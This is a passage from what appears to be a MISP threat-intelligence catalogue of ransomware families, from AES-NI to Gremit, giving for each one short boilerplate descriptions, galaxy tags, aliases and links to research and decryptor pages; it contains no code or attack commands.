The tag is: *misp-galaxy:ransomware="AES-NI Ransomware "*

Table 3018. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/aes-ni-ransomware.html

Koolova Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The hacker of this ransomware tends to make lots of spelling errors in his requests. With Italian text that only targets the Test folder on the user’s desktop

The tag is: *misp-galaxy:ransomware="Koolova Ransomware"*

Table 3019. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/koolova-ransomware.html
https://www.bleepingcomputer.com/news/security/koolova-ransomware-decrypts-for-free-if-you-read-two-articles-about-ransomware/

Fake Globe Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 1bitcoin.

The tag is: *misp-galaxy:ransomware="Fake Globe Ransomware"*

Fake Globe Ransomware is also known as:

- Globe Imposter
- GlobeImposter

Fake Globe Ransomware has relationships with:

- similar: misp-galaxy:malpedia="GlobeImposter" with estimative-language:likelihood-probability="likely"

Table 3020. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/fake-globe-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-30th-2016-infected-tvs-and-open-source-ransomware-sucks/
https://twitter.com/fwosar/status/812421183245287424
https://decrypter.emsisoft.com/globeimposter
https://twitter.com/malwrhunterteam/status/809795402421641216
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/GrujaRS/status/1004661259906768896

V8Locker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="V8Locker Ransomware"*

Table 3021. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/v8locker-ransomware.html

Cryptorium (Fake Ransomware)

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc., however your files are not really encrypted, only the names are changed.

The tag is: *misp-galaxy:ransomware="Cryptorium (Fake Ransomware)"*

Table 3022. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cryptorium-ransomware.html

Antihacker2017 Ransomware

It’s directed to Russian speaking users, there fore is able to infect mosty the old USSR countries. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc … The hacker goes by the nickname Antihacker and requests the victim to send him an email for the decryption. He does not request any money only a warning about looking at porn (gay, incest and rape porn to be specific).

The tag is: *misp-galaxy:ransomware="Antihacker2017 Ransomware"*

Table 3023. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/antihacker2017-ransomware.html

CIA Special Agent 767 Ransomware (FAKE!!!)

It's directed to English speaking users, therefore is able to infect users all over the world. It is spread using email spam, fake updates, attachments and so on. It SUPPOSEDLY encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... Your files are not really encrypted and nothing actually happens, however the hacker does ask the victim to pay a sum of 100$, after 5 days the sum goes up to 250$ and thereafter to 500$. After the payment is received, the victim gets the following message informing him that he has been fooled and he simply needed to delete the note. https://4.bp.blogspot.com/-T8iSbbGOz84/WFGZEbuRfCI/AAAAAAAACm0/SO8Srwx2UIM3FPZcZl7W76oSDCsnq2vfgCPcB/s1600/code2.jpg

The tag is: *misp-galaxy:ransomware="CIA Special Agent 767 Ransomware (FAKE!!!)"*

Table 3024. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/cia-special-agent-767-ransomware.html
https://www.bleepingcomputer.com/virus-removal/remove-cia-special-agent-767-screen-locker
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-16th-2016-samas-no-more-ransom-screen-lockers-and-more/
https://guides.yoosecurity.com/cia-special-agent-767-virus-locks-your-pc-screen-how-to-unlock/

LoveServer Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker request your IP address in return for the decryption.

The tag is: *misp-galaxy:ransomware="LoveServer Ransomware "*

Table 3025. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/loveserver-ransomware.html

Kraken Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... The hacker requests 2 bitcoins in return for the files.

The tag is: *misp-galaxy:ransomware="Kraken Ransomware"*

Table 3026. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/kraken-ransomware.html

Antix Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is 0.25 bitcoins and the nickname of the hacker is FRC 2016.

The tag is: *misp-galaxy:ransomware="Antix Ransomware"*

Table 3027. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/antix-ransomware.html

PayDay Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… The ransom is R$950 which is due in 5 days. (R$ is a Brazilian currency) Based off of Hidden-Tear

The tag is: *misp-galaxy:ransomware="PayDay Ransomware "*

Table 3028. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/payday-ransomware.html
https://twitter.com/BleepinComputer/status/808316635094380544

Slimhem Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is NOT spread using email spam, fake updates, attachments and so on. It simply places a decrypt file on your computer.

The tag is: *misp-galaxy:ransomware="Slimhem Ransomware"*

Table 3029. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/slimhem-ransomware.html

M4N1F3STO Ransomware (FAKE!!!!!)

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… FILES DON’T REALLY GET DELETED NOR DO THEY GET ENCRYPTED!!!!!!!

The tag is: *misp-galaxy:ransomware="M4N1F3STO Ransomware (FAKE!!!!!)"*

Table 3030. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/m4n1f3sto-ransomware.html

Dale Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… CHIP > DALE

The tag is: *misp-galaxy:ransomware="Dale Ransomware"*

Dale Ransomware is also known as:

- DaleLocker Ransomware

UltraLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware="UltraLocker Ransomware"*

Table 3031. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/ultralocker-ransomware.html
https://twitter.com/struppigel/status/807161652663742465

AES_KEY_GEN_ASSIST Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="AES_KEY_GEN_ASSIST Ransomware"*

Table 3032. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/aeskeygenassist-ransomware.html
https://id-ransomware.blogspot.co.il/2016/09/dxxd-ransomware.html
https://www.bleepingcomputer.com/forums/t/634258/aes-key-gen-assistprotonmailcom-help-support/

Code Virus Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Code Virus Ransomware "*

Table 3033. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/code-virus-ransomware.html

FLKR Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="FLKR Ransomware"*

Table 3034. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/flkr-ransomware.html

PopCorn Time Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow: https://www.bleepstatic.com/images/news/ransomware/p/Popcorn-time/refer-a-friend.png

The tag is: *misp-galaxy:ransomware="PopCorn Time Ransomware"*

Table 3035. Table References

Links

https://id-ransomware.blogspot.co.il/2016/12/popcorntime-ransomware.html
https://www.bleepingcomputer.com/news/security/new-scheme-spread-popcorn-time-ransomware-get-chance-of-free-decryption-key/

HackedLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.

The tag is: *misp-galaxy:ransomware="HackedLocker Ransomware"*

Table 3036. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/hackedlocker-ransomware.html

GoldenEye Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="GoldenEye Ransomware"*

Table 3037. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/goldeneye-ransomware.html
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/
https://www.bleepingcomputer.com/forums/t/634778/golden-eye-virus/

Sage Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="Sage Ransomware"*

Table 3038. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/sage-ransomware.html
https://www.bleepingcomputer.com/forums/t/634978/sage-file-sample-extension-sage/

https://www.bleepingcomputer.com/forums/t/634747/sage-20-ransomware-sage-support-help-topic/

SQ_ Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc… This hacker requests 4 bitcoins for ransom.

The tag is: *misp-galaxy:ransomware="SQ* Ransomware"_

SQ_ Ransomware is also known as:

- VO_ Ransomware

Table 3039. Table References

Links
https://id-ransomware.blogspot.co.il/2016/12/sq-vo-ransomware.html

Matrix

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc…

The tag is: *misp-galaxy:ransomware="Matrix"*

Matrix is also known as:

- Malta Ransomware
- Matrix Ransomware

Table 3040. Table References

Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-2nd-2016-screenlockers-kangaroo-the-sfmta-and-more/
https://id-ransomware.blogspot.co.il/2016/12/matrix-ransomware.html
https://twitter.com/rommeljoven17/status/804251901529231360
https://www.bleepingcomputer.com/news/security/new-matrix-ransomware-variants-installed-via-hacked-remote-desktop-services/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/demonslay335/status/1034212374805278720
https://www.bleepingcomputer.com/news/security/new-fox-ransomware-matrix-variant-tries-its-best-to-close-all-file-handles/

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049314118409306112
https://twitter.com/demonslay335/status/1050118985210048512
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/demonslay335/status/1039907030570598400

Satan666 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Satan666 Ransomware"*

Table 3041. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/satan666-ransomware.html

RIP (Phoenix) Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: *misp-galaxy:ransomware="RIP (Phoenix) Ransomware"*

Table 3042. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/rip-ransomware.html
https://twitter.com/BleepinComputer/status/804810315456200704

Locked-In Ransomware or NoValid Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on RemindMe

The tag is: *misp-galaxy:ransomware="Locked-In Ransomware or NoValid Ransomware"*

Table 3043. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/novalid-ransomware.html

https://www.bleepingcomputer.com/forums/t/634754/locked-in-ransomware-help-support-restore-corupted-fileshtml/
https://twitter.com/struppigel/status/807169774098796544

Chartwig Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Chartwig Ransomware"*

Table 3044. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/chartwig-ransomware.html

RenLocker Ransomware (FAKE)

It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The files don’t actually get encrypted, their names get changed using this formula: [number][.crypter]

The tag is: *misp-galaxy:ransomware="RenLocker Ransomware (FAKE)"*

Table 3045. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/renlocker-ransomware.html

Thanksgiving Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Thanksgiving Ransomware"*

Table 3046. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/thanksgiving-ransomware.html
https://id-ransomware.blogspot.co.il/2016/07/stampado-ransomware-1.html
https://twitter.com/BleepinComputer/status/801486420368093184

CockBlocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CockBlocker Ransomware"*

Table 3047. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cockblocker-ransomware.html
https://twitter.com/jiriatvirlab/status/801910919739674624

Lomix Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on the idiotic open-source ransomware called CryptoWire

The tag is: *misp-galaxy:ransomware="Lomix Ransomware"*

Table 3048. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/lomix-ransomware.html
https://twitter.com/siri_urz/status/801815087082274816

OzozaLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. https://3.bp.blogspot.com/--jubfYRaRmw/WDaOyZXkAaI/AAAAAAAACQE/E63a4FnaOfACZ07s1xUiv_haxy8cp5YCACLcB/s1600/ozoza2.png

The tag is: *misp-galaxy:ransomware="OzozaLocker Ransomware"*

Table 3049. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/ozozalocker-ransomware.html
https://decrypter.emsisoft.com/ozozalocker
https://twitter.com/malwrhunterteam/status/801503401867673603

Crypute Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypute Ransomware"*

Crypute Ransomware is also known as:

- m0on Ransomware

Table 3050. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/crypute-ransomware-m0on.html
https://www.bleepingcomputer.com/virus-removal/threat/ransomware/

NMoreira Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="NMoreira Ransomware"*

NMoreira Ransomware is also known as:

- Fake Maktub Ransomware

Table 3051. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/nmoreira-ransomware.html
https://id-ransomware.blogspot.co.il/2016/10/airacrop-ransomware.html

VindowsLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransom amount is 349.99$ and the hacker seems to be from India. He disguises himself as Microsoft Support.

The tag is: *misp-galaxy:ransomware="VindowsLocker Ransomware"*

Table 3052. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/vindowslocker-ransomware.html

https://malwarebytes.app.box.com/s/gdu18hr17mwqszj3hjw5m3sw84k8hlph
https://rol.im/VindowsUnlocker.zip
https://twitter.com/JakubKroustek/status/800729944112427008
https://www.bleepingcomputer.com/news/security/vindowslocker-ransomware-mimics-tech-support-scam-not-the-other-way-around/

Donald Trump 2 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Here is the original ransomware under this name: http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html

The tag is: *misp-galaxy:ransomware="Donald Trump 2 Ransomware"*

Table 3053. Table References

Links
http://id-ransomware.blogspot.co.il/2016/09/donald-trump-ransomware.html
https://www.bleepingcomputer.com/news/security/the-donald-trump-ransomware-tries-to-build-walls-around-your-files/

Nagini Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Looks for C:\Temp\voldemort.horcrux

The tag is: *misp-galaxy:ransomware="Nagini Ransomware"*

Nagini Ransomware is also known as:

- Voldemort Ransomware

Table 3054. Table References

Links
http://id-ransomware.blogspot.co.il/2016/09/nagini-voldemort-ransomware.html
https://www.bleepingcomputer.com/news/security/the-nagini-ransomware-sics-voldemort-on-your-files/

ShellLocker Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="ShellLocker Ransomware"*

Table 3055. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/shelllocker-ransomware.html
https://twitter.com/JakubKroustek/status/799388289337671680

Chip Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Chip Ransomware"*

Chip Ransomware is also known as:

- ChipLocker Ransomware

Table 3056. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/chip-ransomware.html
http://malware-traffic-analysis.net/2016/11/17/index.html
https://www.bleepingcomputer.com/news/security/rig-e-exploit-kit-now-distributing-new-chip-ransomware/

Dharma Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. CrySiS > Dharma Note: ATTENTION! At the moment, your system is not protected. We can fix it and restore files. To restore the system write to this address: bitcoin143@india.com. CrySiS variant

The tag is: *misp-galaxy:ransomware="Dharma Ransomware"*

Table 3057. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/dharma-ransomware.html
https://www.bleepingcomputer.com/news/security/kaspersky-releases-decryptor-for-the-dharma-ransomware/
https://www.bleepingcomputer.com/news/security/new-cmb-dharma-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-bip-dharma-ransomware-variant-released/

https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049313390097813504
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/JakubKroustek/status/1038680437508501504
https://twitter.com/demonslay335/status/1059521042383814657
https://twitter.com/demonslay335/status/1059940414147489792
https://twitter.com/JakubKroustek/status/1060825783197933568
https://twitter.com/JakubKroustek/status/1064061275863425025
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

Angela Merkel Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Angela Merkel Ransomware"*

Table 3058. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/angela-merkel-ransomware.html
https://twitter.com/malwrhunterteam/status/798268218364358656

CryptoLuck Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CryptoLuck Ransomware"*

CryptoLuck Ransomware is also known as:

- YafunnLocker

Table 3059. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cryptoluck-ransomware.html
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/

https://twitter.com/malwareforme/status/798258032115322880

Crypton Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Crypton Ransomware"*

Crypton Ransomware is also known as:

- Nemesis
- X3M

Table 3060. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/crypton-ransomware.html
https://decrypter.emsisoft.com/crypton
https://www.bleepingcomputer.com/news/security/crypton-ransomware-is-here-and-its-not-so-bad-/
https://twitter.com/JakubKroustek/status/829353444632825856

Karma Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. pretends to be a Windows optimization program called Windows-TuneUp

The tag is: *misp-galaxy:ransomware="Karma Ransomware"*

Table 3061. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/karma-ransomware.html
https://www.bleepingcomputer.com/news/security/researcher-finds-the-karma-ransomware-being-distributed-via-pay-per-install-network/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-18th-2016-crysis-cryptoluck-chip-and-more/

WickedLocker HT Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="WickedLocker HT Ransomware"*

Table 3062. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/wickedlocker-ht-ransomware.html

PClock3 Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoLocker Copycat

The tag is: *misp-galaxy:ransomware="PClock3 Ransomware"*

PClock3 Ransomware is also known as:

- PClock SuppTeam Ransomware
- WinPlock
- CryptoLocker clone

Table 3063. Table References

Links
https://www.bleepingcomputer.com/news/security/old-cryptolocker-copycat-named-pclock-resurfaces-with-new-attacks/
https://id-ransomware.blogspot.co.il/2016/11/suppteam-ransomware-sysras.html
http://researchcenter.paloaltonetworks.com/2015/09/updated-pclock-ransomware-still-comes-up-short/
https://decrypter.emsisoft.com/

Kolobo Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Kolobo Ransomware"*

Kolobo Ransomware is also known as:

- Kolobocheg Ransomware

Table 3064. Table References

Links
https://www.ransomware.wiki/tag/kolobo/
https://id-ransomware.blogspot.co.il/2016/11/kolobo-ransomware.html
https://forum.drweb.com/index.php?showtopic=315142

PaySafeGen (German) Ransomware

This is most likely to affect German speaking users, since the note is written in German. Mostly affects users in German speaking countries. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="PaySafeGen (German) Ransomware"*

PaySafeGen (German) Ransomware is also known as:

- Paysafecard Generator 2016

Table 3065. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/paysafegen-german-ransomware.html
https://twitter.com/JakubKroustek/status/796083768155078656

Telecrypt Ransomware

This is most likely to affect Russian speaking users, since the note is written in Russian. Therefore, residents of Russian speaking country are affected. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The ransomware's authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex.Money). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills. Telecrypt will generate a random string to encrypt with that is between 10-20 length and only contain the letters vo,pr,bm,xu,zt,dq.

The tag is: *misp-galaxy:ransomware="Telecrypt Ransomware"*

Table 3066. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/telecrypt-ransomware.html
http://www.securityweek.com/telecrypt-ransomwares-encryption-cracked
https://malwarebytes.app.box.com/s/kkxwgzbpwe7oh59xqfwcz97uk0q05kp3

https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/
https://securelist.com/blog/research/76558/the-first-cryptor-to-exploit-telegram/

CerberTear Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="CerberTear Ransomware"*

Table 3067. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/cerbertear-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/795630452128227333

FuckSociety Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Hidden Tear >> APT Ransomware + HYPERLINK "https://id-ransomware.blogspot.ru/2016/05/remindme-ransomware-2.html" "_blank" RemindMe > FuckSociety

The tag is: *misp-galaxy:ransomware="FuckSociety Ransomware"*

Table 3068. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/fucksociety-ransomware.html

PayDOS Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Batch file; Passcode: AES1014DW256 or RSA1014DJW2048

The tag is: *misp-galaxy:ransomware="PayDOS Ransomware"*

PayDOS Ransomware is also known as:

- Serpent Ransomware

Table 3069. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/paydos-ransomware-serpent.html
https://www.bleepingcomputer.com/news/security/ransomware-goes-retro-with-paydos-and-serpent-written-as-batch-files/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-4th-2016-cerber-paydos-alcatraz-locker-and-more/
https://www.proofpoint.com/us/threat-insight/post/new-serpent-ransomware-targets-danish-speakers

zScreenLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="zScreenLocker Ransomware"*

Table 3070. Table References

Links
https://id-ransomware.blogspot.co.il/2016/11/zscreenlocker-ransomware.html
https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/november-2016-month-ransomware/
https://twitter.com/struppigel/status/794077145349967872

Gremit Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: *misp-galaxy:ransomware="Gremit Ransomware"*

Table 3071. Table References

Links
